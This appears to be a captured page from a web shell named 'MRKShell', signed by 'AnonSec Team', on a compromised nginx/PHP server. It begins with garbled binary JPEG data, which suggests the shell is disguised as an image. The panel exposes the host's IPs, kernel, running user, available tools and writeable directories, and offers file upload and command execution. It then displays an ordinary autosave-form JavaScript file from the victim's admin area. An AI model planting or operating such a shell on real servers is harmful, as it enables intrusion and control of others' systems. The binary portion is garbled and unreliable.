JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 172.71.28.167
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/hitadmin/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/hitadmin/assets/js/autosaveform.js
/*
* Auto Save Form script
* Created: Aug 8th, 2011 by DynamicDrive.com. This notice must stay intact for usage 
* Author: Dynamic Drive at http://www.dynamicdrive.com/
* Visit http://www.dynamicdrive.com/ for full source code
*/

function autosaveform(setting){
	if (!autosaveform.domstorage || !window.JSON) //if browser doesn't support dom storage or JSON
		return
	var $=jQuery
	var defaults={ //default setting values
		includefields:['text', 'textarea', 'checkbox', 'radio', 'select'],
		savingmsg:'Guardando...',
		pause:1000,
		onsave:function(f){}
	}
	var setting=$.extend({}, defaults, setting)
	this.setting=setting
	this.onsave=setting.onsave
	var fieldskeywords=setting.includefields.join(" ")
	setting.includefields=$.map(setting.includefields, function(a){ //mold fieldskeywords into array of jQuery selector strings
		return (a=="select" || a=="textarea")? a : "input[type='"+a+"']"
	})
	var thissession=this
	jQuery(function($){ //on document.ready
		var $f=$('form#'+setting.formid).css({position:'relative'})
		thissession.f=$f.get(0)
		var targetfields=$(thissession.f.elements).filter(setting.includefields.join(',')).get() //filter out form fields that should be auto saved
		thissession.targetfields=targetfields
		thissession.loadfields() //load saved value into these fields (if any)
		var formevts='keydown cut paste'+ (/(checkbox)|(radio)|(select)/i.test(fieldskeywords)? ' change' : '') //Event keywords for form that will trigger saving of form field values
		$f.bind(formevts, function(e){
			var target=e.target.type.replace(/-\w+/i, "") || e.target.tagName //get target user is currently interacting with (using keywords found in fieldskeywords)
			if (fieldskeywords.indexOf(target.toLowerCase())!=-1)
				thissession.activatesave()
		})
		$f.submit(function(){
			thissession.savefields("clear") //clear saved form values when form is submitted
		})
		if (setting.savingmsg)
			thissession.$statusdiv=$('<div class="savestatus" style="visibility:hidden">' + setting.savingmsg + '</div>').prependTo($f)
	})
}

autosaveform.prototype={

	getel:function(id){
		return (document.getElementById(id) || this.f.elements[id])
	},

	getelname:function(el){
		return el.id || el.name
	},

	activatesave:function(){
		var thissession=this
		clearTimeout(this.savetimer)
		this.savetimer=setTimeout(function(){thissession.savefields()}, this.setting.pause)
	},

	savefields:function(action){ 
		var savedvalue={}
		var processedboxes=[]
		if (action!="clear"){
			for (var i=0, targets=this.targetfields, len=targets.length; i<len; i++){ //loop thru all fields in form that script should check whether to save their value
				var elname=this.getelname(targets[i])
				if (elname){ //if element carries an ID or NAME attribute
					if (/text/i.test(targets[i].type) && targets[i].value!=""){ //for textarea and input type=text elements
							savedvalue[elname]=targets[i].value
					}
					else if (/(checkbox)|(radio)/i.test(targets[i].type)){ //for checkbox/radios
						if (jQuery.inArray(elname, processedboxes)==-1){ //if this group of checkboxes (ones sharing the same name) haven't been processed yet
							for (var c=0, cgroup=this.f.elements[elname], clength=cgroup.length; c<clength; c++){ //loop through checkboxes/ radio buttons within group
								if (cgroup[c].checked){
									savedvalue[elname]=(typeof savedvalue[elname]=="undefined")? [c] : savedvalue[elname].concat([c])
								}
							} //end for loop
							processedboxes.push(targets[i].name)
						}
					}
					else if (targets[i].type.indexOf("select")!=-1){ //for select menus
						for (var o=0, opts=targets[i].options, olength=opts.length; o<olength; o++){
							if (opts[o].selected)
								savedvalue[elname]=(typeof savedvalue[elname]=="undefined")? [o] : savedvalue[elname].concat([o])
						}
					}
				} //end if elname
			} //end for loop
			if (this.$statusdiv)
				this.$statusdiv.css({opacity:0, visibility:'visible'}) //show "saving form" notice temporarily
					.animate({opacity:1},200).delay(400).animate({opacity:0},200)
			try{ //call onsave event handler
				this.onsave(this.f, savedvalue)
			}
			catch(e){
				throw new Error("An error has occured inside your onsave() function:\n" + e.message)
			}
		} //end if action
		autosaveform._storage(this.f, "save", JSON.stringify(savedvalue))
	},

	loadfields:function(){
		try{
			var loadedvalue=JSON.parse(autosaveform._storage(this.f, "load"))
		}catch(e){
			var loadedvalue={}
		}
		for (var elname in loadedvalue){ //loop thru each field name property inside loadedvalue
			if (loadedvalue.hasOwnProperty(elname)){
				var el=this.getel(elname)
				if (el){ //if element with this name/id actually exists on the form (form may have been changed)
					if (/(text)/.test(el.type) && typeof loadedvalue[elname]=="string"){ //if this is a input type="text" or textarea element
						el.value=loadedvalue[elname]
					}
					else if (typeof loadedvalue[elname]=="object" && el.type==undefined && /(checkbox)|(radio)/i.test(el[0].type)){ //checkbox/radios
						for (var c=0, cgroup=this.f.elements[elname], clength=loadedvalue[elname].length; c<clength; c++){ //loop through saved checkboxes/ radio buttons array of numbers
							var checkedindex=loadedvalue[elname][c]
							if (cgroup[checkedindex]){ //if checkbox/radio button at this index exists on the page
								cgroup[checkedindex].checked=true
							}
						} //end for loop				
					}
					else if (/select/i.test(el.type)){ //select menu
						for (var o=0, opts=el.options, olength=loadedvalue[elname].length; o<olength; o++){ //loop through saved select array of numbers
							var selectedindex=loadedvalue[elname][o]
							opts[selectedindex].selected=true
						}
					}
				}
			} //end if
		} //end for
	}

}


autosaveform.domstorage=window.localStorage || (window.globalStorage? globalStorage[location.hostname] : null)
//Create cookie prefix using the page's URL. Mold from "http://mysite.com/sub/file.htm" for example to "sub/file.htm"
autosaveform.cookieprefix=location.href.replace(new RegExp("("+location.host+"/)|("+location.protocol+"//)", "g"), "")

autosaveform._storage=function(form, action, data){
	var domstorage=autosaveform.domstorage
	if (action=="load"){
		return domstorage[this.cookieprefix+"_"+form.id]
	}
	else if (action=="save"){
		domstorage[this.cookieprefix+"_"+form.id]=data
	}
}


Anon7 - 2022
AnonSec Team